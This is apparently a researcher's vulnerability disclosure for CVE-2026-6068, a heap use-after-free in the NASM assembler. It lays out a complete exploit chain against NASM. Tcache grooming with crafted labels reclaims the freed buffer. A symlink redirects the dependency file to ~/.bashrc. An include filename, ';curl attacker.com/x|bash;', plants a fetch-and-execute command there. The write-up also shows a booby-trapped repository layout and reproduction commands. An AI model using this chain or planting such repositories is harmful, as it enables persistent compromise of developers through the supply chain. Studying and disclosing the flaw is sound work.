- Published on
CVE-2026-6068 – From Heap UAF to Persistent RCE in NASM
- Authors
- Name
- breakingbad
- Description
- pwn researcher & arktricon author
Introduction
NASM (Netwide Assembler) is one of the most widely used x86 assemblers. It’s a dependency in countless build systems — if you’ve ever compiled a project with hand-written assembly on Linux, chances are NASM was involved.
I found a heap use-after-free in NASM’s response file parser. At first glance, it looked like a typical UAF — good for a crash, maybe a CVE, nothing especially interesting. I reported the issue to the NASM maintainers and waited for a response, but never received one. I then escalated through CERT/CC, which also could not get a response from the vendor, and the CVE was assigned during that process. While the issue remained unpatched, deeper analysis showed that it was far more serious than it first appeared: a fully deterministic, persistent RCE that requires no memory-protection bypasses and leaves almost no visible trace.
The attack model is supply-chain: a malicious git repository that looks like a normal project — and it genuinely works as advertised. The code compiles, tests pass, the library functions correctly. The exploit rides silently alongside legitimate functionality. The victim runs make, NASM executes once, and their ~/.bashrc is silently overwritten. The RCE doesn’t trigger until the victim opens a new terminal — which could be minutes, hours, or days later. By that point, there is zero causal link back to NASM or the build process in the victim’s mind. They will never suspect the assembler that ran once during a routine make is the reason their machine is compromised.
Disclaimer: This writeup is published with the knowledge and permission of CERT/CC. The vulnerability (CVE-2026-6068) was reported to the NASM maintainers in March 2026 and coordinated through CERT/CC (Case VU#420416). As of the date of publication, the vendor has not responded and the vulnerability remains unpatched. CERT/CC has agreed to reference this post in the CVE listing.

Here is a GIF briefly demonstrating the attack:

The Bug
Root Cause
In asm/nasm.c, the function process_respfile() handles NASM’s -@ option, which reads command-line arguments from a file.
static void process_respfile(FILE *rfile, int pass)
{
char *buffer, *p, *q, *prevarg;
buffer = nasm_malloc(ARG_BUF_DELTA); // ARG_BUF_DELTA = 128
prevarg = nasm_malloc(ARG_BUF_DELTA);
// ... reads file into buffer, parses arguments ...
// When it encounters "-MD":
// process_arg() sets: depend_file = q;
// where q points INSIDE buffer
nasm_free(buffer); // buffer freed
nasm_free(prevarg); // depend_file is now dangling
}
The global pointer depend_file is set to point into the heap-allocated buffer. When the function returns, buffer is freed, but depend_file still holds the stale pointer.
Later in main(), after the assembly phase completes:
emit_dependencies(depend_list);
Which internally does:
deps = nasm_open_write(depend_file, NF_TEXT); // fopen() with dangling pointer
This is a classic UAF: allocate → point into it → free → use the dangling pointer as a filename for fopen().
Why This Matters
Most UAFs give you a crash or maybe an info leak. This one gives you arbitrary file write — because the dangling pointer is used as a filename, not as a function pointer or vtable. No need to redirect execution, no need to bypass ASLR or NX. The program’s own fopen() call does exactly what we want.
Exploitation
Step 1: Understanding the Heap Layout
Both buffer and prevarg are malloc(128), which gives us 0x90-sized chunks (128 + 16 metadata, aligned to 16). After freeing:
tcache[0x90]: prevarg → buffer → NULL
depend_file points to the user data region of buffer. The tcache overwrites the first 8 bytes with the next pointer (NULL), so depend_file initially reads as an empty string.
To exploit this, we need to reclaim buffer’s chunk with attacker-controlled content. If we can make NASM allocate a 0x90 chunk and fill it with our string, depend_file will point to our string, and fopen() will open whatever file we choose.
Step 2: Heap Spray + GDB Debugging to Determine Exact Offset
Note: The drain count is independent of the glibc version — it depends only on the NASM build. The values below were calibrated against the latest NASM version as of 2026-05-16. Other NASM versions have not been tested but may require a different drain count.
Of course, you can still use heap spraying if you’re not sure which NASM version the target is using. I do not expect the drain count to change often, but if you are unsure, you can simply try 7, 8, 9, 10, and so on; a broad heap spray should eventually hit the right slot.
During the assembly phase, NASM processes label definitions. Each label triggers nasm_strdup(label_name), which calls malloc(strlen(name) + 1). If we craft labels of length 120:
strlen("label_120_chars") + 1 = 121
malloc(121) → chunk size = (121 + 8 + 15) & ~15 = 0x90
Same bin as the freed buffer. We first used heap spraying (mass label allocation) to confirm that the freed buffer chunk can be reclaimed via labels. Then, by attaching GDB and inspecting the tcache state after process_respfile() returns, we determined the exact number of drain labels needed to consume all intermediate 0x90 entries before the payload label lands precisely on buffer.
The calibrated sequence is:
- 8 drain labels: consume other 0x90 chunks in tcache (from intermediate allocations)
- 1 skip label: absorbs an off-by-one entry
- 1 payload label: this
nasm_strdup()reclaimsbuffer
; drain labels — each is exactly 120 characters
drain_00_AAAAAA...A: ; consumes tcache entries
drain_01_BBBBBB...B:
; ... 8 total ...
drain_07_HHHHHH...H:
; skip
skip_pre_payload_ZZZ...Z:
; PAYLOAD — this strdup() reclaims the freed buffer
simd_vector_math_avx512_aligned_buffer_processing_internal_loop_unrolled_kernel_optimized_x86_64_sse41_v2_build_config_h:
After this, depend_file points to our payload label name.
This is 100% deterministic. Tcache has no randomization. ASLR is completely irrelevant — we never need to know any addresses.
Step 3: Symlink for Arbitrary Path Write
depend_file now equals our label name. When NASM calls fopen("simd_vector_..._config_h", "w"), we need this to write to ~/.bashrc.
Simple: place a symlink in the project directory.
ln -sf ~/.bashrc 'simd_vector_math_avx512_...(120 chars)'
fopen() follows the symlink. NASM writes its dependency output directly into ~/.bashrc. The victim’s original .bashrc is gone.
This symlink is part of the malicious repository — it ships with git clone. The victim doesn’t create it; it’s already there when they check out the project. Alternatively, the Makefile can create it on the fly before invoking NASM — one extra ln -sf line hidden among build steps, and almost nobody reads Makefiles that carefully.
Step 4: Shell Metacharacter Injection
NASM writes dependency output in Makefile format:
output.o : input.asm dependency1 dependency2 ...
The function quote_for_pmake() is responsible for escaping special characters in filenames:
static char *quote_for_pmake(const char *str) {
for (p = str; *p; p++) {
switch (*p) {
case ' ': case '\t': // escaped
case '$': case '#': // escaped
case '\\': // tracked
default:
// ; > < | & — ALL PASS THROUGH UNESCAPED
n++;
break;
}
}
}
It escapes spaces, tabs, $, #, backslashes. But semicolons, pipes, redirects, and ampersands are not escaped. These are all shell operators.
So we %include a file with shell metacharacters in its name:
%include ";curl attacker.com/x|bash;.inc"
This file exists in the project directory (contains ; empty — a valid asm comment). NASM processes it normally. The filename appears verbatim in the dependency output:
output.o : input.asm ;curl attacker.com/x|bash;.inc
This is now the content of ~/.bashrc.
Step 5: RCE
Next time the victim opens a terminal, bash sources ~/.bashrc:
output.o : input.asm ;curl attacker.com/x|bash;.inc
Bash interprets this as:
output.o→ "command not found" (silent):→ builtin no-opinput.asm→ "command not found" (silent);→ command separatorcurl attacker.com/x|bash→ downloads and executes attacker’s script
Persistent RCE. Every terminal open re-triggers the payload.
Full Attack Scenario
Attacker’s Repository
fast-simd-math/
├── Makefile # Option A: ln -sf hidden here before nasm call
│ # Option B: just calls nasm, symlink shipped in repo
├── README.md
├── LICENSE
├── src/
│ ├── math_kernel.asm # heap spray labels + %include buried in 3000 lines
│ └── ;curl attacker.com/x|bash;.inc # empty file, filename is the payload
├── simd_vector_...(120 chars) → ~/.bashrc # Option B: symlink shipped in repo
└── tests/
└── test_basic.c
Victim’s Experience (can be)
$ git clone https://github.com/someone/fast-simd-math.git
$ cd fast-simd-math
$ make
nasm -@ .build.resp -f elf64 src/math_kernel.asm -o output.o
gcc -shared -o libmath.so output.o
$ ./tests/test_basic
All tests passed!
$ # Everything looks normal. No warnings, no errors.
$ # ... later, opens a new terminal ...
$ # → ~/.bashrc sourced → attacker’s command executes
Zero crash. Zero warnings. Valid output file produced. Victim has no idea.
Why Memory Protections Don’t Matter
| Protection | Bypassed? | Why |
|---|---|---|
| ASLR | N/A | No addresses needed — tcache is index-based |
| NX/DEP | N/A | No shellcode executed |
| Stack Canary | N/A | No stack corruption |
| PIE | N/A | No code pointers involved |
| RELRO | N/A | No GOT overwrite |
The entire chain operates through application logic:
UAF (memory bug)
→ string pointer corruption (app logic)
→ fopen() with attacker-controlled path (normal API)
→ fprintf() with unescaped metacharacters (normal API)
→ bash sources the file (OS behavior)
→ RCE
Reproduction
Requirements
- Linux x86-64
- glibc 2.26+ (tcache required)
- Latest NASM version (the drain count is calibrated for the latest NASM build; it is independent of glibc version)
Quick Test
mkdir /tmp/nasm_rce && cd /tmp/nasm_rce
cp /path/to/nasm ./nasm #it's my experiment's path.
# Generate PoC files
python3 gen_poc.py --drain 8 --shell-inject ';id>rce_proof' -q
# Create the metachar file and symlink
echo '; empty' > ';id>rce_proof'
ln -sf /tmp/pwned_bashrc '<any_120_char_label_matching_payload_in_input.asm>'
# Run NASM
./nasm -@ resp.txt -f elf64 input.asm -o output.o
# Verify arbitrary file write
cat /tmp/pwned_bashrc #just my experiment's path.you can write in truly bashrc
# → output.o : input.asm ;id>rce_proof
# Verify RCE
bash /tmp/pwned_bashrc 2>/dev/null
cat rce_proof
# → uid=1000(user) gid=1000(user) ...
Timeline
- 2026-03: Reported UAF to NASM maintainers
- 2026-03 ~ 2026-05: No response from NASM. CERT/CC contacted, also unable to reach vendor.
- 2026-04: CVE assigned by CERT/CC
- 2026-05: RCE exploit developed. CERT/CC notified of severity upgrade.
- As of writing: Still unpatched.
Proof of concept code and exploit scripts are available in my Gist.